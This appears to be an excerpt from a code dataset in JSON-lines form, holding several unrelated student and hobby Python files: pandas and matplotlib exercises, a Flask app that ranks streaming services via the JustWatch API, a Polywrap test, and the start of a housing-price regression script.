table_name='image')\n","repo_name":"jbaiter/demetsiiify","sub_path":"migrations/versions/7_add_image_fk_index.py","file_name":"7_add_image_fk_index.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"69"} +{"seq_id":"11315263576","text":"import pandas as pd\r\nfrom numpy.random import randn\r\n\r\ndf = pd.DataFrame(randn(3,3), index=[\"A\",\"B\",\"C\"],columns=[\"Colomn1\",\"Colomn2\",\"Colomn3\",])\r\n\r\nresult = df\r\nresult = df[\"Colomn1\"]\r\nresult = df[[\"Colomn1\",\"Colomn2\"]]\r\n\r\nresult = df.loc [\"A\"]\r\nresult = df.loc[:,\"Colomn1\"]\r\nresult = df.loc[:,[\"Colomn1\",\"Colomn2\"]]\r\nresult = df.loc[:,\"Colomn1\":\"Colomn3\"]\r\nresult = df.loc[\"A\":\"C\",:\"Colomn2\"]\r\nresult = df.loc[\"A\",\"Colomn2\"]\r\n\r\ndf[\"Colomn4\"] = pd.Series(randn(3),[\"A\",\"B\",\"C\"]) #kolon ekleme\r\ndf[\"Colomn5\"] = df[\"Colomn1\"] + df[\"Colomn3\"]\r\n\r\nprint(df.drop(\"Colomn5\",axis= 1)) # kolon silme\r\n\r\nprint(df)\r\nprint(result)","repo_name":"frostdead43/Python-Course-Files","sub_path":"pandass/pandas-selecting.py","file_name":"pandas-selecting.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"8584878546","text":"import pandas as pd\nfrom newspaper import Article\n\n\ndef get_article_data(url):\n \"\"\"Downloads article and rerturns relevant data\n \"\"\"\n article = Article(url)\n article.download()\n article.parse()\n author = \" & \".join(list(article.authors))\n text = article.text\n title = article.title\n # article_dict = {\"title\": [title], \"author\": [author], \"text\": [text]}\n # article_dataframe = pd.DataFrame(list(article_dict.items()), columns=[\"title\", \"author\", \"text\"])\n # article_dataframe = pd.DataFrame([article_dict])\n # article_dataframe = pd.DataFrame(article_dict)\n # return article_dataframe\n return title, author, text\n\n\ndef preprocess_article_data(article_dataframe, vectorizer, transformer):\n \"\"\"preprocess the article dataframe\n returns a sparse matrix\n \"\"\"\n article_dataframe[\"total\"] = article_dataframe[\"title\"] + \" \" + article_dataframe[\"author\"] + article_dataframe[\"text\"]\n vector = vectorizer.transform(article_dataframe[\"total\"].values)\n sparse_vector = transformer.transform(vector)\n return sparse_vector\n\ndef rate_articles(url_list, model, vectorizer, transformer):\n\n reliability_scores = []\n titles, authors, texts = [], [], []\n for url in url_list:\n # article_dataframe = get_article_data(url)\n title, author, text = get_article_data(url)\n titles.append(title)\n authors.append(author)\n texts.append(text)\n # title, author = article_dataframe[\"title\"][0], article_dataframe[\"author\"][0]\n # article_vector = preprocess_article_data(article_dataframe, vectorizer, transformer)\n # reliability_score = model.predict_proba(article_vector)\n # print(f\"{title} by {author}:\\t{reliability_score}\")\n # reliability_scores.append(reliability_score)\n articles_dict = {\"title\": titles, \"author\": authors, \"text\": texts}\n articles_dataframe = pd.DataFrame(articles_dict)\n # print(articles_dataframe.head())\n articles_vector = preprocess_article_data(articles_dataframe, vectorizer, transformer)\n reliability_scores = model.predict_proba(articles_vector)\n print(\"Classifier:\\t\", model)\n print(\"\\n\")\n for ind, article in articles_dataframe.iterrows():\n print(str(article[\"title\"]))\n print(\"By:\\t\", str(article[\"author\"]))\n print(\"Score:\\t\", reliability_scores[ind][0])\n print(\"\\n\")\n\n\n\n return reliability_scores\n\n","repo_name":"tkalim/snip_test","sub_path":"notebook/src/article_utils.py","file_name":"article_utils.py","file_ext":"py","file_size_in_byte":2402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"37309309175","text":"import bottle\nimport os\n\ndef application(environ, start_response):\n data = \"Hello World! AppFog Python Support\"\n start_response(\"200 OK\", [\n (\"Content-Type\", \"text/plain\"),\n (\"Content-Length\", str(len(data)))\n ])\n return iter([data])\n\n","repo_name":"appfog/af-python-wsgi","sub_path":"wsgi.py","file_name":"wsgi.py","file_ext":"py","file_size_in_byte":277,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"69"} +{"seq_id":"11625232276","text":"import matplotlib.pyplot as plt\nimport numpy as np\nplt.rcParams[\"figure.figsize\"] = (8, 8)\n\nfigura, (ejemplo1,ejemplo2)= plt.subplots(nrows=2)\n#Primera grafica=>\nColores=[\"gold\",\"springgreen\",\"violet\",\"tan\"]\n\nValoresM=[20,25,30,40,50]\nValoresH=[10,25,15,43,48]\nEtiquetas=[\"G1\",\"G2\",\"G3\",\"G4\",\"G5\"]\n\nPosicion = np.arange(len(Etiquetas)) \nancho = 0.35 \n\nr1=ejemplo1.bar(Posicion-ancho/2,ValoresM,ancho, label=\"Mujeres\")\nr2=ejemplo1.bar(Posicion+ancho/2,ValoresH,ancho, label=\"Hombres\")\n\nejemplo1.set_ylabel(\"Valores\")\nejemplo1.set_title(\"Titulo\")\nejemplo1.set_xticks(Posicion, Etiquetas)\nejemplo1.legend()\nejemplo1.bar_label(r1, padding=1)\nejemplo1.bar_label(r2, padding=1)\n\n#Segunda grafica=>\n\nejemplo2.plot(Etiquetas,ValoresM,marker=\"p\",markersize=13,linestyle=\"dotted\",color=\"purple\", label=\"Hombres\")\nejemplo2.plot(Etiquetas,ValoresH,marker=\"*\",markersize=10,linestyle=\"--\",color=\"cyan\", label=\"Mujeres\")\n\nejemplo2.legend()\n\nejemplo2.set_xlabel('Etiquetas')\nejemplo2.set_ylabel('Valores')\nejemplo2.set_title('Grafica de lineas')\n\n\nfigura.tight_layout()\nplt.show()","repo_name":"MaxDuran08/Pi_Clase","sub_path":"Clase 2/2G.py","file_name":"2G.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"36778633975","text":"from flask import Flask, render_template, url_for, request, redirect, flash\nfrom datetime import datetime\nfrom justwatch import JustWatch\n\napp = Flask(__name__)\n\nproviderDictionary = {}\nuserNameDictionary = []\npassWordDictonary = []\nuserLoggedIn = False\nfinalResult = ''\n\ndef getSefaCalculatedGenreScore(longName):\n if longName=='Action and Adventure':\n return 7\n elif longName=='Comedy':\n return 12\n elif longName=='Documentary':\n return 10\n elif longName=='Fantasy':\n return 5\n elif longName=='Horror':\n return 4\n elif longName=='Music and Musical':\n return 3\n elif longName=='Romance':\n return 7\n elif longName=='Sport':\n return 1\n elif longName=='Western':\n return 1\n elif longName=='Animation':\n return 3\n elif longName=='Crime':\n return 5\n elif longName=='Drama':\n return 2\n elif longName=='History':\n return 2\n elif longName=='Kids and Family':\n return 6\n elif longName=='Mystery and Thriller':\n return 9\n elif longName=='Science-Fiction':\n return 3\n elif longName=='War and Military':\n return 1\n\ndef getFinalResultMultiplier(platformName):\n if platformName=='nfx':\n return 0.19\n elif platformName=='itu':\n return 0.11\n elif platformName=='dnp':\n return 0.12\n elif platformName=='prv':\n return 0.11\n elif platformName=='mbi':\n return 0.47\n\ndef getShortNameOfCategory(longName):\n if longName=='Action and Adventure':\n return 'act'\n elif longName=='Comedy':\n return 'cmy'\n elif longName=='Documentary':\n return 'doc'\n elif longName=='Fantasy':\n return 'fnt'\n elif longName=='Horror':\n return 'hrr'\n elif longName=='Music and Musical':\n return 'msc'\n elif longName=='Romance':\n return 'rma'\n elif longName=='Sport':\n return 'spt'\n elif longName=='Western':\n return 'wsn'\n elif longName=='Animation':\n return 'ani'\n elif longName=='Crime':\n return 'crm'\n elif longName=='Drama':\n return 'drm'\n elif longName=='History':\n return 'hst'\n elif longName=='Kids and Family':\n return 'fml'\n elif longName=='Mystery and Thriller':\n return 'trl'\n elif longName=='Science-Fiction':\n return 'scf'\n elif longName=='War and Military':\n return 'war'\n\nclass UserSelectionData():\n topGenresList = []\n imdbWeight = 0\n priceWeight = 0\n contentAmountImportance = 0\n showImportance = 0\n movieImportance = 0\n\ndef generateUserSelectionData(topGenreList,imdb,price,contentAmount,showImportance, movieImportance):\n userSelectionData = UserSelectionData()\n userSelectionData.topGenresList = topGenreList\n userSelectionData.imdbWeight = imdb\n userSelectionData.priceWeight = price\n userSelectionData.contentAmountImportance = contentAmount\n userSelectionData.showImportance = showImportance\n userSelectionData.movieImportance = movieImportance\n return userSelectionData\n\nclass StreamingService(object):\n name = \"\"\n numberOfContentOnFirstCategory = 0\n numberOfContentOnSecondCategory = 0\n numberOfContentOnThirdCategory = 0\n imdbAverageScore = 0\n price = 0\n numberOfShows = 0\n numberOfMovies = 0\n totalScore = 0\n\n calculatedImdbScore = 0\n calculatedNumberOfContentScore = 0\n calculatedNumberOfMovieScore = 0\n calculatedNumberOfShowScore=0\n calculatedGenreScore=0\n calculatedPriceScore=0\n\n\ndef generateStreamingService(name):\n service = StreamingService()\n service.name = name\n if(name=='nfx'):\n service.price = 45.99\n elif(name=='mbi'):\n service.price = 49.99\n elif(name=='dnp'):\n service.price = 64.99\n elif(name=='prv'):\n service.price = 7.90\n elif(name=='itu'):\n service.price = 34.99\n return service\n\ndef getLongNameOfStreamingPlatform(shortName):\n if shortName=='mbi':\n return 'Mubi'\n elif shortName=='qfs':\n return 'Quickflix Store'\n elif shortName=='tpl':\n return 'Tenplay'\n elif shortName=='msf':\n return 'Microsoft'\n elif shortName=='pls':\n return 'Playstation'\n elif shortName=='ply':\n return 'Google Play Store'\n elif shortName=='itu':\n return 'Apple TV'\n elif shortName=='ddi':\n return 'Dendy Direct'\n elif shortName=='crk':\n return 'Crackle'\n elif shortName=='stn':\n return 'Stan'\n elif shortName=='prs':\n return 'Preste'\n elif shortName=='nfx':\n return 'Netflix'\n elif shortName=='dnp':\n return 'Disney Plus'\n elif shortName=='prv':\n return 'Amazon Prime Video'\n elif shortName=='blv':\n return 'BluTv'\n elif shortName=='exn':\n return 'Exen'\n elif shortName=='qfx':\n return 'Quickflix'\n\ndef getTotalContentCount(userInput:UserSelectionData, service:StreamingService):\n returnValue = []\n just_watch = JustWatch()\n results = just_watch.search_for_item(genres=[getShortNameOfCategory(userInput.topGenresList[0])],\n providers=[service.name])\n returnValue.append(results.get('total_results',0))\n\n results = just_watch.search_for_item(genres=[getShortNameOfCategory(userInput.topGenresList[1])],\n providers=[service.name])\n returnValue.append(results.get('total_results',0))\n\n results = just_watch.search_for_item(genres=[getShortNameOfCategory(userInput.topGenresList[2])],\n providers=[service.name])\n returnValue.append(results.get('total_results',0))\n return returnValue\n\ndef getNumberOfShowAndMovie(userInput:UserSelectionData, service:StreamingService):\n just_watch = JustWatch()\n returnValue = []\n showCount = just_watch.search_for_item(genres=[getShortNameOfCategory(userInput.topGenresList[0]),getShortNameOfCategory(userInput.topGenresList[1]),getShortNameOfCategory(userInput.topGenresList[2])],\n providers=[service.name],\n content_types=['show'])\n movieCount = just_watch.search_for_item(genres=[getShortNameOfCategory(userInput.topGenresList[0]),getShortNameOfCategory(userInput.topGenresList[1]),getShortNameOfCategory(userInput.topGenresList[2])],\n providers=[service.name],\n content_types=['movie'])\n returnValue.append(showCount.get('total_results',0))\n returnValue.append(movieCount.get('total_results',0))\n return returnValue\n\ndef getAverageImbdbScoreOfContent(userInput:UserSelectionData, service:StreamingService):\n just_watch = JustWatch()\n totalScore = 0\n totalCount = 0\n results = just_watch.search_for_item(page_size=100,\n providers=[service.name],\n genres=[getShortNameOfCategory(userInput.topGenresList[0])])\n\n for z in range(len(results.get('items',0))):\n scoringList = results.get('items')[z].get('scoring')\n for i in scoringList:\n if i.get('provider_type','')=='imdb:score':\n totalScore+=(i.get('value',0))\n break\n totalCount += len(results.get('items',0))\n\n\n results = just_watch.search_for_item(page_size=100,\n providers=[service.name],\n genres=[getShortNameOfCategory(userInput.topGenresList[1])])\n\n for z in range(len(results.get('items',0))):\n scoringList = results.get('items')[z].get('scoring')\n for i in scoringList:\n if i.get('provider_type','')=='imdb:score':\n totalScore+=(i.get('value',0))\n break\n totalCount += len(results.get('items',0))\n\n\n results = just_watch.search_for_item(page_size=100,\n providers=[service.name],\n genres=[getShortNameOfCategory(userInput.topGenresList[2])])\n\n for z in range(len(results.get('items',0))):\n scoringList = results.get('items')[z].get('scoring')\n for i in scoringList:\n if i.get('provider_type','')=='imdb:score':\n totalScore+=(i.get('value',0))\n break\n totalCount += len(results.get('items',0))\n\n\n if(totalCount==0):\n return 0\n else:\n return (totalScore/totalCount)\n\n\ndef fillUserInputDataToSystem(request):\n topGenres = []\n topGenres.append(request.form['dropdown1'])\n topGenres.append(request.form['dropdown2'])\n topGenres.append(request.form['dropdown3'])\n return generateUserSelectionData(topGenres,int(request.form['imdb']),int(request.form['price']),int(request.form['content_amount']),int(request.form['show']),int(request.form['movie']))\n\nprovidersNameList = {'mbi','nfx','dnp','prv','itu'}\n\n@app.route('/', methods=['POST', 'GET'])\ndef index():\n global userLoggedIn\n global finalResult\n if request.method == 'POST':\n userData = fillUserInputDataToSystem(request)\n startApiService(userData)\n calculateScoreForEachService(userData)\n bestProvider = generateStreamingService('test')\n secondBestProvider = generateStreamingService('test2')\n thirdBestProvider = generateStreamingService('test3')\n fourthBestProvider = generateStreamingService('test4')\n fifthBestProvider = generateStreamingService('test5')\n\n prov_lst = list(providerDictionary.items())\n prov_lst.sort(key=lambda x: x[1].totalScore)\n bestProvider = prov_lst[4][1]\n secondBestProvider = prov_lst[3][1]\n thirdBestProvider = prov_lst[2][1]\n fourthBestProvider = prov_lst[1][1]\n fifthBestProvider = prov_lst[0][1]\n\n \n bestName = getLongNameOfStreamingPlatform(bestProvider.name)\n bestImdbScore = str(bestProvider.calculatedImdbScore)\n bestNumberOfContentScore = str(bestProvider.calculatedNumberOfContentScore)\n bestNumberOfMovieScore = str(bestProvider.calculatedNumberOfMovieScore)\n bestNumberOfShowScore = str(bestProvider.calculatedNumberOfShowScore)\n bestGenreScore = str(bestProvider.calculatedGenreScore)\n bestPriceScore = str(bestProvider.calculatedPriceScore)\n bestTotalScore = str(bestProvider.totalScore)\n firstImage=str(url_for('static', filename= 'images/'+bestProvider.name+'.png'))\n\n secondName = getLongNameOfStreamingPlatform(secondBestProvider.name)\n secondImdbScore = str(secondBestProvider.calculatedImdbScore)\n secondNumberOfContentScore = str(secondBestProvider.calculatedNumberOfContentScore)\n secondNumberOfMovieScore = str(secondBestProvider.calculatedNumberOfMovieScore)\n secondNumberOfShowScore = str(secondBestProvider.calculatedNumberOfShowScore)\n secondGenreScore = str(secondBestProvider.calculatedGenreScore)\n secondPriceScore = str(secondBestProvider.calculatedPriceScore)\n secondTotalScore = str(secondBestProvider.totalScore)\n secondImage=str(url_for('static', filename= 'images/'+secondBestProvider.name+'.png'))\n\n thirdName = getLongNameOfStreamingPlatform(thirdBestProvider.name)\n thirdImdbScore = str(thirdBestProvider.calculatedImdbScore)\n thirdNumberOfContentScore = str(thirdBestProvider.calculatedNumberOfContentScore)\n thirdNumberOfMovieScore = str(thirdBestProvider.calculatedNumberOfMovieScore)\n thirdNumberOfShowScore = str(thirdBestProvider.calculatedNumberOfShowScore)\n thirdGenreScore = str(thirdBestProvider.calculatedGenreScore)\n thirdPriceScore = str(thirdBestProvider.calculatedPriceScore)\n thirdTotalScore = str(thirdBestProvider.totalScore)\n thirdImage=str(url_for('static', filename= 'images/'+thirdBestProvider.name+'.png'))\n\n fourthName = getLongNameOfStreamingPlatform(fourthBestProvider.name)\n fourthImdbScore = str(fourthBestProvider.calculatedImdbScore)\n fourthNumberOfContentScore = str(fourthBestProvider.calculatedNumberOfContentScore)\n fourthNumberOfMovieScore = str(fourthBestProvider.calculatedNumberOfMovieScore)\n fourthNumberOfShowScore = str(fourthBestProvider.calculatedNumberOfShowScore)\n fourthGenreScore = str(fourthBestProvider.calculatedGenreScore)\n fourthPriceScore = str(fourthBestProvider.calculatedPriceScore)\n fourthTotalScore = str(fourthBestProvider.totalScore)\n fourthImage=str(url_for('static', filename= 'images/'+fourthBestProvider.name+'.png'))\n\n fifthName = getLongNameOfStreamingPlatform(fifthBestProvider.name)\n fifthImdbScore = str(fifthBestProvider.calculatedImdbScore)\n fifthNumberOfContentScore = str(fifthBestProvider.calculatedNumberOfContentScore)\n fifthNumberOfMovieScore = str(fifthBestProvider.calculatedNumberOfMovieScore)\n fifthNumberOfShowScore = str(fifthBestProvider.calculatedNumberOfShowScore)\n fifthGenreScore = str(fifthBestProvider.calculatedGenreScore)\n fifthPriceScore = str(fifthBestProvider.calculatedPriceScore)\n fifthTotalScore = str(fifthBestProvider.totalScore)\n fifthImage=str(url_for('static', filename= 'images/'+fifthBestProvider.name+'.png'))\n\n return render_template('result.html',bestName=bestName,bestImdbScore=bestImdbScore,bestNumberOfContentScore=bestNumberOfContentScore,\\\n bestNumberOfMovieScore=bestNumberOfMovieScore,\\\n bestNumberOfShowScore=bestNumberOfShowScore,bestTotalScore=bestTotalScore,bestGenreScore=bestGenreScore,\\\n secondName=secondName,secondImdbScore=secondImdbScore,\\\n secondNumberOfContentScore=secondNumberOfContentScore,secondNumberOfMovieScore=secondNumberOfMovieScore,\\\n secondNumberOfShowScore=secondNumberOfShowScore,secondTotalScore=secondTotalScore,secondGenreScore=secondGenreScore,\\\n thirdName=thirdName,thirdImdbScore=thirdImdbScore,thirdNumberOfContentScore=thirdNumberOfContentScore,\\\n thirdNumberOfMovieScore=thirdNumberOfMovieScore,\\\n thirdNumberOfShowScore=thirdNumberOfShowScore,thirdTotalScore=thirdTotalScore,thirdGenreScore=thirdGenreScore,\\\n fourthName=fourthName,fourthImdbScore=fourthImdbScore,\\\n fourthNumberOfContentScore=fourthNumberOfContentScore,fourthNumberOfMovieScore=fourthNumberOfMovieScore,\\\n fourthNumberOfShowScore=fourthNumberOfShowScore,fourthTotalScore=fourthTotalScore,fourthGenreScore=fourthGenreScore,\\\n fifthName=fifthName,fifthImdbScore=fifthImdbScore,\\\n fifthNumberOfContentScore=fifthNumberOfContentScore,fifthNumberOfMovieScore=fifthNumberOfMovieScore,\\\n fifthNumberOfShowScore=fifthNumberOfShowScore,fifthTotalScore=fifthTotalScore,fifthGenreScore=fifthGenreScore,\\\n firstImage=firstImage,secondImage=secondImage,thirdImage=thirdImage,fourthImage=fourthImage,fifthImage=fifthImage,\\\n bestPriceScore=bestPriceScore,secondPriceScore=secondPriceScore,thirdPriceScore=thirdPriceScore,\\\n fourthPriceScore=fourthPriceScore,fifthPriceScore=fifthPriceScore)\n else:\n if userLoggedIn:\n return render_template('query.html')\n else:\n return render_template('index.html')\n\n\n\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n if request.method == 'POST':\n username = request.form['username']\n password = request.form['password']\n userNameDictionary.append(username)\n passWordDictonary.append(password)\n global userLoggedIn\n global finalResult\n return render_template('login.html')\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n global userLoggedIn\n global finalResult\n if request.method == 'POST':\n username = request.form['username']\n password = request.form['password']\n if(userNameDictionary.count(username)>0):\n userNameDictionary.index(username)\n if(passWordDictonary[userNameDictionary.index(username)]==password):\n userLoggedIn = True\n \n \n if userLoggedIn:\n return render_template('query.html')\n else:\n flash('Wrong ID or password')\n return render_template('login.html')\n\n@app.route('/return', methods=['GET', 'POST'])\ndef registerToMainPage():\n if request.method == 'POST':\n global userLoggedIn\n global finalResult\n return render_template('index.html')\n\n@app.route('/logout', methods=['GET', 'POST'])\ndef logout():\n global userLoggedIn\n global finalResult\n userLoggedIn = False\n return render_template('login.html')\n\n@app.route('/gotologin', methods=['GET', 'POST'])\ndef gotologin():\n if request.method == 'POST':\n global userLoggedIn\n global finalResult\n if(userLoggedIn):\n return render_template('query.html')\n else:\n return render_template('login.html')\n\n@app.route('/hreflogout', methods=['GET', 'POST'])\ndef hreflogout():\n logout()\n\n@app.route('/hrefhome', methods=['GET', 'POST'])\ndef hrefhome():\n return render_template('index.html')\n\n@app.route('/hrefaboutus', methods=['GET', 'POST'])\ndef hrefaboutus():\n return render_template('aboutus.html')\n\n@app.route('/hreftool', methods=['GET', 'POST'])\ndef hreftool():\n if(userLoggedIn):\n return render_template('query.html')\n else:\n return render_template('index.html')\n\n@app.route('/hrefplatforms', methods=['GET', 'POST'])\ndef hrefplatforms():\n return render_template('hrefplatforms.html')\n\n@app.route('/hrefcontact', methods=['GET', 'POST'])\ndef hrefcontact():\n return render_template('contactus.html')\n\n@app.route('/gotoregister', methods=['GET', 'POST'])\ndef gotoregister():\n if request.method == 'POST':\n global userLoggedIn\n global finalResult\n if(userLoggedIn):\n return render_template('query.html')\n else:\n return render_template('register.html')\n\n\ndef startApiService(userData:UserSelectionData):\n for provider in providersNameList:\n \n totalContentCountList = getTotalContentCount(userData,providerDictionary[provider])\n showMovieCount = getNumberOfShowAndMovie(userData, providerDictionary[provider])\n averageImdbScoreOfContent = getAverageImbdbScoreOfContent(userData,providerDictionary[provider])\n service = providerDictionary[provider]\n service.numberOfContentOnFirstCategory = totalContentCountList[0]\n service.numberOfContentOnSecondCategory = totalContentCountList[1]\n service.numberOfContentOnThirdCategory = totalContentCountList[2]\n service.numberOfShows = showMovieCount[0]\n service.numberOfMovies = showMovieCount[1]\n service.imdbAverageScore = averageImdbScoreOfContent\n providerDictionary[provider] = service\n \n \n\ndef fillDictionaryData():\n for provider in providersNameList:\n providerDictionary[provider] = generateStreamingService(provider)\n\ndef calculateScoreForEachService(userInput:UserSelectionData):\n firstCategoryScorePerContent = .1\n secondCategoryScorePerContent = .05\n thirdCategoryScorePerContent = .025\n showScore = 1\n movieScore = 1\n imdbScore = 5\n priceImportance = 10000\n\n for provider in providersNameList:\n service = providerDictionary[provider]\n service.calculatedNumberOfContentScore = 0\n service.calculatedGenreScore = 0\n service.calculatedImdbScore = int( service.imdbAverageScore * userInput.imdbWeight * imdbScore)\n service.calculatedNumberOfContentScore += int(service.numberOfContentOnFirstCategory * firstCategoryScorePerContent)\n service.calculatedNumberOfContentScore += int(service.numberOfContentOnSecondCategory * secondCategoryScorePerContent)\n service.calculatedNumberOfContentScore += int(service.numberOfContentOnThirdCategory * thirdCategoryScorePerContent)\n service.calculatedNumberOfMovieScore = int(service.numberOfMovies * userInput.movieImportance * movieScore)\n service.calculatedNumberOfShowScore = int(service.numberOfShows * userInput.showImportance * showScore)\n service.calculatedPriceScore = int(userInput.priceWeight * priceImportance / service.price)\n\n service.calculatedGenreScore += int(service.numberOfContentOnFirstCategory * getSefaCalculatedGenreScore(userInput.topGenresList[0]))\n service.calculatedGenreScore += int(service.numberOfContentOnSecondCategory * getSefaCalculatedGenreScore(userInput.topGenresList[1]))\n service.calculatedGenreScore += int(service.numberOfContentOnThirdCategory * getSefaCalculatedGenreScore(userInput.topGenresList[2]))\n\n service.totalScore = service.calculatedGenreScore+service.calculatedImdbScore+service.calculatedNumberOfContentScore+service.calculatedNumberOfMovieScore+service.calculatedNumberOfShowScore+service.calculatedGenreScore \n service.totalScore *= getFinalResultMultiplier(service.name)\n providerDictionary[provider] = service\n\nif __name__ == \"__main__\":\n fillDictionaryData() # generates key value pairs for every streaming service and gives them a score of 0\n app.secret_key = 'the random string'\n app.run(debug=True)\n ","repo_name":"gokturk-tas/flask-test","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":21339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"9439456633","text":"'''\n* @Author: Namratha N Shetty\n* @Date: 2021-09-20 13:04 \n* @Last Modified by: Namratha N Shetty\n* @Last Modified time: 2021-09-18 13:15\n* @Title: Program to count the number of characters (character frequency) in a\nstring.\n'''\n\nfrom Loggers import logger\n\ndef count():\n '''\n Description:\n Count the number of characters (character frequency) in a string\n Parameter:\n string1 is parameter.\n \n '''\n try:\n\n string1 = \"google.com\"\n dict = {}\n \n for n in string1:\n keys = dict.keys()\n if n in keys:\n dict[n] += 1\n else:\n dict[n] = 1\n \n logger.info(dict)\n\n except Exception:\n logger.error(\"Invalid\")\n\nif __name__ == \"__main__\":\n count()","repo_name":"NamrathaNShetty/Basic-Python-Programs","sub_path":"Data Structures/Strings/CountChar.py","file_name":"CountChar.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"36669172619","text":"from pathlib import Path\nfrom typing import Any, Optional\nfrom polywrap import (\n PolywrapClient,\n PolywrapClientConfigBuilder,\n SimpleFileReader,\n ExtendableUriResolver,\n WasmPackage,\n)\nfrom pydantic import BaseModel, Field, validator\nfrom validators import UriStr, validate_root_directory\nfrom traceback import print_exc\n\n\n# Define the WrapDir structure as a Pydantic model\nclass WrapDir(BaseModel):\n directory: Path\n uri: UriStr\n\n @validator(\"directory\")\n def valid_root_directory(cls, v: Any):\n return validate_root_directory(\n v, Path(__file__).parent.parent.parent.parent.parent\n )\n\n\n# Define the input structure as a Pydantic model\nclass InputObj(BaseModel):\n resolver: Optional[WrapDir]\n uri: UriStr\n expected_error: str = Field(..., alias=\"expectedError\")\n\n\ndef run_test_case(input: Any) -> None:\n # Parse the input to the defined model\n input_obj = InputObj.parse_obj(input)\n\n root_dir = Path(__file__).parent.parent.parent.parent.parent\n\n config_builder = PolywrapClientConfigBuilder()\n\n if input_obj.resolver:\n # Process resolver WrapDir\n resolver_directory = root_dir / input_obj.resolver.directory\n\n resolver_manifest_path = resolver_directory / \"wrap.info\"\n resolver_wasm_path = resolver_directory / \"wrap.wasm\"\n\n with open(resolver_manifest_path, \"rb\") as f:\n resolver_manifest = f.read()\n\n with open(resolver_wasm_path, \"rb\") as f:\n resolver_wasm_module = f.read()\n\n resolver_package = WasmPackage(\n wasm_module=resolver_wasm_module,\n file_reader=SimpleFileReader(),\n manifest=resolver_manifest,\n )\n\n config_builder.set_package(input_obj.resolver.uri, resolver_package)\n config_builder.add_interface_implementations(\n ExtendableUriResolver.DEFAULT_EXT_INTERFACE_URIS[0],\n [input_obj.resolver.uri],\n )\n\n config = config_builder.build()\n\n client = PolywrapClient(config)\n\n print(f\"Resolving URI {input_obj.uri}\")\n\n try:\n client.invoke(uri=input_obj.uri, method=\"\", args=None)\n except Exception as error:\n err_msg = str(error.__cause__) if error.__cause__ else str(error)\n\n if input_obj.expected_error in err_msg:\n print(\"Expected error received\")\n else:\n print(f\"Expected error {input_obj.expected_error}, but received {err_msg}\")\n\n","repo_name":"polywrap/client-readiness","sub_path":"clients/py/src/features/error_resolve_uri.py","file_name":"error_resolve_uri.py","file_ext":"py","file_size_in_byte":2442,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"72915838939","text":"# iterando com while: usado quando não se sabe quantas repetições vão exister\nnome = 'luiz gustavo'\n\ncontador = 0\n\nwhile contador < len(nome):\n print(nome[contador])\n contador+=1\n\n\n# for: estrutura de repetição para coisas finitas(iteração)\n\nprint(30 * '-') \n\nnome2 = 'luiz gustavo'\n\nfor letras in nome2: # a variavel \"letra\" é aonde os elementos da variavel \"nome2\" são adicionados\n print(letras)","repo_name":"Luiz-Gustavoo/Curso-de-python-3","sub_path":"seção 2 - python básico(logica de progamação)/72 - introdução ao for - in/72.py","file_name":"72.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"70624597979","text":"#!/usr/bin/env python3\n\n\"\"\" Construct a linear regression model for provided Housing Data (2007, 2013)\n\nResources:\n https://www.kaggle.com/code/juliencs/a-study-on-regression-applied-to-the-ames-dataset\n\"\"\"\n\n# STL\nimport os\nimport sys\n\n# Data Science\nimport numpy as np\nimport pandas as pd\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.model_selection import train_test_split\n\n# Visualization\nfrom matplotlib import pyplot as plt\nimport seaborn as sns\n\n# Hardcoded Information\nTRAINFILE = \"data/house_train.csv\"\nTESTFILE = \"data/house_test.csv\"\nVERBOSE = True\n\ndef fit_linear_model(X, Y):\n \"\"\" Construct a Linear Regression model to the given dataframe.\n \"\"\"\n # split into test / train sets\n X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size = .20)\n\n # convert Y values to log form, to prevent overweighting of expensive homes\n Y_train = np.log(Y_train)\n Y_test = np.log(Y_test)\n\n # fit the model\n lr = LinearRegression()\n lr.fit(X_train, Y_train)\n\n # visualize\n if VERBOSE:\n # predict on our training set\n Y_train_pred = lr.predict(X_train)\n Y_test_pred = lr.predict(X_test)\n\n # Plot residuals\n plt.scatter(np.exp(Y_train_pred), Y_train_pred - Y_train, c=\"blue\", marker=\"s\", label=\"Training data\")\n plt.scatter(np.exp(Y_test_pred), Y_test_pred - Y_test, c=\"blue\", marker=\"s\", label=\"Test data\")\n plt.title(\"State Linear Regression Residuals\")\n plt.xlabel(\"Predicted values ($)\")\n plt.ylabel(\"Residuals\")\n plt.show()\n \n # Plot predictions\n plt.scatter(np.exp(Y_train_pred), np.exp(Y_train), c=\"blue\", marker=\"s\", label=\"Training data\")\n plt.scatter(np.exp(Y_test_pred), np.exp(Y_test), c=\"blue\", marker=\"s\", label=\"Testing data\")\n plt.title(\"Linear regression\")\n plt.xlabel(\"Predicted Prices ($)\")\n plt.ylabel(\"Actual Prices ($)\")\n plt.show()\n\n # return the model for evaluation / visualization\n return lr\n\nif __name__ == \"__main__\":\n # load data\n df_train = pd.read_csv(TRAINFILE)\n df_test = pd.read_csv(TESTFILE)\n\n # data munging\n df_train = df_train.dropna()\n df_test = df_test.dropna()\n\n # visualization\n if VERBOSE:\n print(df_train.describe())\n plt.plot(np.log(df_train[\"price2007\"]), np.log(df_train[\"price2013\"]), '*')\n plt.xlabel(\"2007 Price (log($))\")\n plt.ylabel(\"2013 Price (log($))\")\n 